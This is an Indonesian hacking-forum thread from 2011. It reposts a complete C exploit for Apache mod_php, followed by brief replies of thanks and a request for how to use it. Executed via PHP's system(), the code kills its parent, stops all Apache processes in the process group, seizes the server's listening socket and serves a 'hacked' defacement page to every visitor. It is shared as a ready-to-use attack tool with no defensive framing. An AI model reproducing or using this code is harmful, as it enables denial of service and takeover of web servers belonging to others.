.:: Blackc0de Forum ::.
Would you like to react to this message? Create an account in a few clicks or log in to continue.

-=Explore The World From Our Binary=-
 
HomeIndeksLatest imagesPendaftaranLogin

 

 phpexploit for aphace

Go down 
5 posters
PengirimMessage
Voldemort
BC Security
BC Security
Voldemort


Jumlah posting : 331
Points : 725
Reputation : 16
Join date : 04.07.11

phpexploit for aphace Empty
PostSubyek: phpexploit for aphace   phpexploit for aphace Icon_minitimeTue Jul 05, 2011 3:01 am

Quote :
/*******************************************************/
/* */
/* Apache's mod_php exploit */
/* Stops all Apache processes (except root), and */
/* listens to Apache's port */
/* */
/* Execute this via system() function of PHP */
/* */
/* Tested on: */
/* apache: 2.2.3 */
/* php: 4.4.3, 4.4.4, 5.0.4, 5.1.4, 5.1.6, 5.2.0RC5 */
/* */
/* Coded by DimmoBorgir, 10/09/06 */
/* [ hackerdom.ru ] */
/* */
/*******************************************************/

#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <signal.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>

char* header = "HTTP/1.1 200 OK\r\nContent-type: text/html\r\n\r\nSorry, the server is unavailable: hacked :)\r\n";

char tmp[1024];

int main()
{
chdir( "/" ); // do it, because it is recommended for daemons :)
signal( SIGCHLD, SIG_IGN ); // do not bother if a child dies
kill( getppid(), SIGKILL ); // kill parent (to avoid 'zombies')

if ( fork() ) return 0; // daemonize, and parent exit
sleep( 1 ); // wait for parent to exit (we don't want him to catch SIGSTOP)

int p = getsid( 0 ); // get current Process Group Id
setsid( ); // become session leader
kill( -p, SIGSTOP ); // good night, Apache Process Group :)

int sock;
struct sockaddr_in clientname;

for ( sock = 3; sock < getdtablesize(); sock++ ) // find valid socket handle
if ( listen (sock, 10) == 0 ) break;

while ( 1 )
{
int new;
unsigned size = sizeof( clientname );
new = accept( sock, (struct sockaddr *) &clientname, &size);

if (new < 0)
return 1;

if ( fork() == 0 ) // child will handle this connection, parent will listen for new connection
{

write( new, header, strlen(header) );
sprintf( tmp, "<br>You are %s : %hd\n", inet_ntoa( clientname.sin_addr ),ntohs( clientname.sin_port ));
write( new, tmp, strlen(tmp)+1 );

shutdown( new, 2 );
close( new );

return 0;
}
}
}
Kembali Ke Atas Go down
zer03s
Administrator
Administrator
zer03s


Jumlah posting : 2471
Points : 4119
Reputation : 113
Join date : 13.12.10
Age : 32
Lokasi : /home/root/blackc0de

phpexploit for aphace Empty
PostSubyek: Re: phpexploit for aphace   phpexploit for aphace Icon_minitimeTue Jul 12, 2011 12:56 am

wew agak ribet jug exploitnya phpexploit for aphace 187827569 tp thanks om udh mw share disini phpexploit for aphace 271371
Kembali Ke Atas Go down
http://zer03s.blog.com/
BumiayuKita
Administrator
Administrator
BumiayuKita


Jumlah posting : 2456
Points : 3020
Reputation : 85
Join date : 06.02.11
Age : 34
Lokasi : bumiayu

phpexploit for aphace Empty
PostSubyek: Re: phpexploit for aphace   phpexploit for aphace Icon_minitimeTue Jul 12, 2011 10:29 am

phpexploit for aphace 3402572103 ijin nyimak aja gan
Kembali Ke Atas Go down
http://aljinet.blogspot.com
arcticgale
NuuBiiTooL
NuuBiiTooL



Jumlah posting : 2
Points : 2
Reputation : 0
Join date : 31.07.11

phpexploit for aphace Empty
PostSubyek: Re: phpexploit for aphace   phpexploit for aphace Icon_minitimeThu Aug 04, 2011 3:37 pm

Wow... ini kalo ngga salah make bahasa C++ y? :maaf kalo salah
Kembali Ke Atas Go down
iroel
Top Nubie
Top Nubie



Jumlah posting : 31
Points : 39
Reputation : 0
Join date : 08.07.11

phpexploit for aphace Empty
PostSubyek: Re: phpexploit for aphace   phpexploit for aphace Icon_minitimeThu Aug 11, 2011 8:27 pm

Cara makenya gmano pak??

nubitools..,.,.,.,.,thanks berat pak.,. phpexploit for aphace 772168924
Kembali Ke Atas Go down
Sponsored content





phpexploit for aphace Empty
PostSubyek: Re: phpexploit for aphace   phpexploit for aphace Icon_minitime

Kembali Ke Atas Go down
 
phpexploit for aphace
Kembali Ke Atas 
Halaman 1 dari 1

Permissions in this forum:Anda tidak dapat menjawab topik
.:: Blackc0de Forum ::. :: Information Technology :: Exploits-
Navigasi: